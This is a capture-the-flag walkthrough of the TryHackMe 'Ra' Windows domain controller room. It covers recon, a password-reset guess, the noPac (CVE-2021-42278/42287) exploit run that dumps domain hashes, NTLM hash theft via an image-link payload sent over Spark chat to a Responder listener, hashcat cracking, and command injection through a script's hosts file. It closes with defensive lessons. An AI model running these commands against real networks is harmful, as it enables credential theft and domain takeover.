Blog Ra - TryHackMe
Post
Cancel

Ra - TryHackMe

This TryHackMe room can be found here.

Recon

Starting off with a nmap scan, we can see that this box has a lot of open ports:

1
nmap -p- -oN allportscan -sS -sC 10.10.148.56


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
Nmap scan report for 10.10.148.56
Host is up (0.093s latency).
Not shown: 65498 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
|_http-title: Windcorp.
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
|_ssl-date: 2023-10-16T17:54:51+00:00; 0s from scanner time.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=Windows Admin Center
| Subject Alternative Name: DNS:WIN-2FAA40QQ70B
| Not valid before: 2020-04-30T14:41:03
|_Not valid after:  2020-06-30T14:41:02
|_http-title: Site doesn't have a title.
| http-ntlm-info:
|   Target_Name: WINDCORP
|   NetBIOS_Domain_Name: WINDCORP
|   NetBIOS_Computer_Name: FIRE
|   DNS_Domain_Name: windcorp.thm
|   DNS_Computer_Name: Fire.windcorp.thm
|   DNS_Tree_Name: windcorp.thm
|_  Product_Version: 10.0.17763
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2179/tcp  open  vmrdp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info:
|   Target_Name: WINDCORP
|   NetBIOS_Domain_Name: WINDCORP
|   NetBIOS_Computer_Name: FIRE
|   DNS_Domain_Name: windcorp.thm
|   DNS_Computer_Name: Fire.windcorp.thm
|   DNS_Tree_Name: windcorp.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2023-10-16T17:54:52+00:00
|_ssl-date: 2023-10-16T17:54:51+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=Fire.windcorp.thm
| Not valid before: 2023-10-15T17:42:54
|_Not valid after:  2024-04-15T17:42:54
5222/tcp  open  xmpp-client
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
| xmpp-info:
|   Ignores server name
|   info:
|     xmpp:
|     capabilities:
|   pre_tls:
|     xmpp:
|       lang: ru-RU
|       server name: fire.windcorp.thm
|       version: 1.0
|     capabilities:
|       node: https://www.igniterealtime.org/projects/openfire/
|       ver: uOb+hhpp2TnfFxh/+eoEHESc0ek=
|     features:
|       Roster Versioning
|       TLS
|     compression_methods:
|       zlib
|     auth_mechanisms:
|       PLAIN
|   post_tls:
|     xmpp:
|     capabilities:
|     errors:
|_      (timeout)
|_ssl-date: 2023-10-16T17:55:23+00:00; 0s from scanner time.
5223/tcp  open  hpvirtgrp
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:52+00:00; 0s from scanner time.
5229/tcp  open  jaxflow
5262/tcp  open  unknown
5263/tcp  open  unknown
|_ssl-date: 2023-10-16T17:56:55+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
5269/tcp  open  xmpp-server
| xmpp-info:
|   STARTTLS Failed
|   info:
|     xmpp:
|     compression_methods:
|     errors:
|       (timeout)
|     auth_mechanisms:
|     capabilities:
|     unknown:
|_    features:
5270/tcp  open  xmp
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:54+00:00; +1s from scanner time.
5275/tcp  open  unknown
5276/tcp  open  unknown
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
|_ssl-date: 2023-10-16T17:56:56+00:00; +1s from scanner time.
5985/tcp  open  wsman
7070/tcp  open  realserver
7443/tcp  open  oracleas-https
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
7777/tcp  open  cbt
9090/tcp  open  zeus-admin
9091/tcp  open  xmltec-xmlmail
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Not valid before: 2020-05-01T08:39:00
|_Not valid after:  2025-04-30T08:39:00
9389/tcp  open  adws
49670/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49745/tcp open  unknown
49897/tcp open  unknown

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-10-16T17:54:53
|_  start_date: N/A

# Nmap done at Mon Oct 16 13:56:59 2023 -- 1 IP address (1 host up) scanned in 806.76 seconds

From the Nmap output, we know the following:

  • The box is a domain controller due to ports such as 53, 88, etc. being open
  • A web server is running on port 80 and 443 that we can further enumerate
  • We need to edit our /etc/hosts file to point windcorp.thm and fire.windcorp.thm to the box’s IP address:

hosts.png

  • Port 5985 is open, so we may be able to use winrm once we get creds for a quick shell
  • An XMPP node is running the host
  • There’s probably another webserver on the higher-ports (9090, 9091, etc.)


Web Enumeration

After adding the DNS entries to /etc/hosts, I navigated to fire.windcorp.thm. When hitting port 443 we get a basic auth prompt (strange), but port 80 gives us a webpage: website.png

This is an application for a “company portal”. After directory fuzzing with gobuster, the only functionality on the site is a “Reset password” link. When clicking, we get a prompt to enter a username, security question, and answer: reset password

On the site, we can also see names of company employees. Buse Candon is shown to be on IM:

Employee List

Looking at the HTML, we can see the employees active directory usernames: Usernames


Rabbit Hole - Openfire Admin Console

After a quick look at the site on port 80, I shifted focus to the other open ports. On port 5222, an Openfire Admin console was found:

Openfire Admin Portal

After searching the version number (v4.5.1), there was a known authentication bypass vulnerability. The initial test showed the box was vulnerable by browsing to http://fire.windcorp.thm:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp:

Openfire Test

After using this tool and manually exploiting the vuln with Burp, it appeared that I was able to add an admin user, but attempts to login failed. At this point, I figured this was a rabbit hole, and moved on.

Flag 1

After enumerating the other ports, I decided to go back to port 80 and look at the main site again. When looking at the html, I noticed that one of the images was named “lilyleAndSparky.jpg”:

Username and secret

I realized that this may be an answer to a password reset secret, but wasn’t sure if lilyle was a username since it wasn’t listed in the above HTML. After trying, it worked and we gained our first set of credentials:

password change

Using CrackMapExec, the creds were verified to work in AD and the shares were listed:

CME verification of credentials

Unintended Path to DA - NOPAC

After getting a valid AD account, I first searched for easy wins and found that the DC was missing patches for CVE-2021-42278 and CVE-2021-42287:

1
crackmapexec smb fire.windcorp.thm -u lilyle -p <password> -M nopac

When testing an environment, if you see a single Domain Controller with these patches missing, any standard user can elevate to DA and own a domain in seconds. This attack chain takes advantage of two CVE’s:

  • CVE-2021-42278: Sam Account Name Spoofing
    • By default, any user can add up to 10 computers to AD (SeMachineAccountPrivilege). These computer accounts end with a trailing $ such as dc1$.
    • Prior to the patch, there was no validation that a computer account’s SamAccountName ended with a $.
  • CVE-2021-42287: KDC Confusion
    • Anytime a service ticket is requested by the KDC, the client first has to present a TGT.
    • After the client presents their TGT and requests a service ticket, it is searched for by the KDC. If the account is not found, the KDC searches again using a trailing $ (for computer accounts).

Combining these two CVE’s, we can do the following with a standard user account:

  • Add a computer account to the domain
  • Clear the servicePrincipalName attribute of the added account
  • Change its SamAccountName to a domain controller without the $
    • Ex: dc1$ -> dc1
  • Request a TGT for the computer we control
  • Change the SamAccountName to another value
  • Request a service ticket using S4U2self with the TGT obtained before. Once we have this service ticket, its game over.

The above steps have been automated in a tool called NOPAC.

1
python3 noPac.py windcorp.thm/lilyle:<credentials> -dc-ip <ip of target> -use-ldap

No PAC Exploit

After running the tool, domain hashes were dumped. The tool also gives us .ccache files for privileged accounts. .ccache files are credential cache’s that hold Kerberos creds. These can be used with our tools to authenticate in the domain through Kerberos. First we need to set KRB5CCNAME environment variable to point to our .ccache:

1
export KRB5CCNAME=/home/kali/thm/ra/noPac/<.ccache file>

Now we can authenticate as an admin with tools such as the impacket suite (with the -k flag) or crackmapexec (–use-kcache flag) using Kerberos:

Admin through NOPAC

Intended Path to Flag 1

After having creds, we can see that we have read access over the share: Shared

Investigating the share using smbclient, we found the first flag:

1
smbclient \\\\fire.windcorp.thm\\Shared -U lilyle

Shared Share Access

Flag 2

Along with Flag 1.txt, there are four other installation files for Spark_2_8_3. A quick google search tells us that this is a messaging client and there’s a known vulnerability where NTLM hashes can be leaked. Because of this, I decided to grab the .deb and install Spark.

Because the files were large, smbclient kept failing when attempting to download. Mounting the share then copying spark_2_8_3.deb worked for me.


After grabbing the .deb I ran into some dependency issues. I had to update my JAVA_HOME environment variable to point to Java-1.8.0. After this, I was able to install the .deb and open Spark:

Spark

Logging in with lilyle’s credentials failed due to certificate issues. These were bypassed within the Advanced options:

Spark Certs

Spark Logged In

Now that we are logged in, we can try to leak NTLM hashes by messaging users. During initial enumeration, we saw that user Buse Candon - buse@fire.windcorp.tmh was online so this was my first target:

Buse Logged In

Responder was started and the message was sent:

1
sudo responder -I eth0
1
Hash Please <img src="http://<yourip>/hash.png">

Responder catching hash

After saving the hash, it was quickly cracked with hashcat:

1
sudo hashcat -m 5600 buse.hash /usr/share/wordlists/rockyou.txt

Hashcat

Using CrackMapExec, we see that windcorp.thm\buse user has winrm privs. We can use evil-winrm to get a shell or smbclient to access the box and grab the flag:

Second Flag

Flag 3

Basic enumeration of the host as buse, showed several images and notes in their home directory but no credentials. Checking our groups with whoami /groups told us that we were in the privileged Account Operators group. This group has the ability to add and modify most accounts in AD (excluding privileged objects such as Domain Admins). This means that we can change any user’s password and login as them.

Whoami output

Browsing the filesystem, there is a directory called C:\scripts that contains two files:

  • checkservers.ps1
  • log.txt

checkservers.ps1 has the following contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# reset the lists of hosts prior to looping
$OutageHosts = $Null
# specify the time you want email notifications resent for hosts that are down
$EmailTimeOut = 30
# specify the time you want to cycle through your host lists.
$SleepTimeOut = 45
# specify the maximum hosts that can be down before the script is aborted
$MaxOutageCount = 10
# specify who gets notified
$notificationto = "brittanycr@windcorp.thm"
# specify where the notifications come from
$notificationfrom = "admin@windcorp.thm"
# specify the SMTP server
$smtpserver = "relay.windcorp.thm"

# start looping here
Do{
$available = $Null
$notavailable = $Null
Write-Host (Get-Date)

# Read the File with the Hosts every cycle, this way to can add/remove hosts
# from the list without touching the script/scheduled task,
# also hash/comment (#) out any hosts that are going for maintenance or are down.
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
    $p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
    Invoke-Expression $p
if($p)
    {
     # if the Host is available then just write it to the screen
     write-host "Available host ---> "$_ -BackgroundColor Green -ForegroundColor White
     [Array]$available += $_
    }
else
    {
     # If the host is unavailable, give a warning to screen
     write-host "Unavailable host ------------> "$_ -BackgroundColor Magenta -ForegroundColor White
     $p = Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue
     if(!($p))
       {
        # If the host is still unavailable for 4 full pings, write error and send email
        write-host "Unavailable host ------------> "$_ -BackgroundColor Red -ForegroundColor White
        [Array]$notavailable += $_

        if ($OutageHosts -ne $Null)
            {
                if (!$OutageHosts.ContainsKey($_))
                {
                 # First time down add to the list and send email
                 Write-Host "$_ Is not in the OutageHosts list, first time down"
                 $OutageHosts.Add($_,(get-date))
                 $Now = Get-date
                 $Body = "$_ has not responded for 5 pings at $Now"
                 Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                  -Subject "Host $_ is down" -SmtpServer $smtpserver
                }
                else
                {
                    # If the host is in the list do nothing for 1 hour and then remove from the list.
                    Write-Host "$_ Is in the OutageHosts list"
                    if (((Get-Date) - $OutageHosts.Item($_)).TotalMinutes -gt $EmailTimeOut)
                    {$OutageHosts.Remove($_)}
                }
            }
        else
            {
                # First time down create the list and send email
                Write-Host "Adding $_ to OutageHosts."
                $OutageHosts = @{$_=(get-date)}
                $Body = "$_ has not responded for 5 pings at $Now"
                Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                 -Subject "Host $_ is down" -SmtpServer $smtpserver
            }
       }
    }
}
# Report to screen the details
$log = "Last run: $(Get-Date)"
write-host $log
Set-Content -Path C:\scripts\log.txt -Value $log
Write-Host "Available count:"$available.count
Write-Host "Not available count:"$notavailable.count
Write-Host "Not available hosts:"
$OutageHosts
Write-Host ""
Write-Host "Sleeping $SleepTimeOut seconds"
sleep $SleepTimeOut
if ($OutageHosts.Count -gt $MaxOutageCount)
{
    # If there are more than a certain number of host down in an hour abort the script.
    $Exit = $True
    $body = $OutageHosts | Out-String
    Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
     -Subject "More than $MaxOutageCount Hosts down, monitoring aborted" -SmtpServer $smtpServer
}
}
while ($Exit -ne $True)

After reading the script, two lines stood out to me were:

$notificationfrom = "admin@windcorp.thm" - This script is most likely being ran from a privileged account


1
2
3
4
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
$p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
Invoke-Expression $p

The script is looping through a list of hosts at C:\Users\brittanycr\hosts.txt and running Test-Connection on each one. If we can edit this file, we may be able to get privileged code execution by adding commands in this file.

A quick check showed us that we do not have privs to read the file:

No privs

However, we can change the password of brittanycr since buse is in the Account Operators group:

1
net user brittanycr <new password> /domain

After changing the password for brittancycr, we can mount the Users share and access the hosts.txt file. It was changed to add a local admin to the machine:

Adding a user

After waiting some time, the script ran and the user was added as an administrator:

Local Admin

And we could now grab Flag 3.txt from the Administrator’s desktop:

Flag3

Real World Takeaways

Even though this was a CTF and the comments below were intended, it’s important to note how they apply to real world

  • Having a list of domain users is valuable. On this domain, we were able to target a valid user for leaking hashes. A valid user list could also allow us to:
    • Brute force creds
    • Obtain hashes through AS-REP Roasting
    • Social engineer users
  • Don’t run non-needed services such as IIS on privileged hosts. Keep the attack surface to a minimum
  • Patch patch patch. The NOPAC example shows how a single unpatched DC can lead to a full domain compromise
  • Enforce password complexity. Hashes were cracked in seconds
Contents